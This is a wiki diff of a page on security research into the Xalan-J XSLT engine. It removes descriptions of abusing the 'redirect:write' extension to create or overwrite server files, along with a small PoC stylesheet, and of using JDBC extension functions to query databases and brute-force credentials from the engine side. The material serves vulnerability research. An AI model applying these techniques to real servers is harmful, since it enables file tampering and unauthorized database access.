Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35

From version Icon 59.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 21:53
Change comment: There is no comment for this version
To version Icon 54.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:56
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -59,16 +59,8 @@
59 59  
60 60  == File creation ==
61 61  
62 -The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
62 +xxx TODO xxx
63 63  
64 -|=Namespace|=Extension element|=Parameter|=PoC
65 -|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]
66 -
67 67  == JDBC connectivity ==
68 68  
69 -It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver.
70 -
71 -|=Namespace|=Extension function|=PoC
72 -|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]]
73 -
74 -The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result. The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] one will read some tuples (JDBC driver, database URL, username, passsword) in a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
66 +xxx TODO xxx
Icon xalanj-write.xsl
Author
... ... @@ -1,1 +1,0 @@
1 -xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,1 +1,0 @@
1 -373 bytes
Content
... ... @@ -1,13 +1,0 @@
1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 - xmlns:redir="http://xml.apache.org/xalan/redirect"
3 - extension-element-prefixes="redir"
4 - version='1.0'>
5 -
6 - <xsl:template match="/">
7 - <redir:write file="/tmp/created_by_xalanj_write" method="text">
8 - <xsl:text>Just a PoC</xsl:text>
9 - </redir:write>
10 - </xsl:template>
11 -
12 -</xsl:stylesheet>
13 -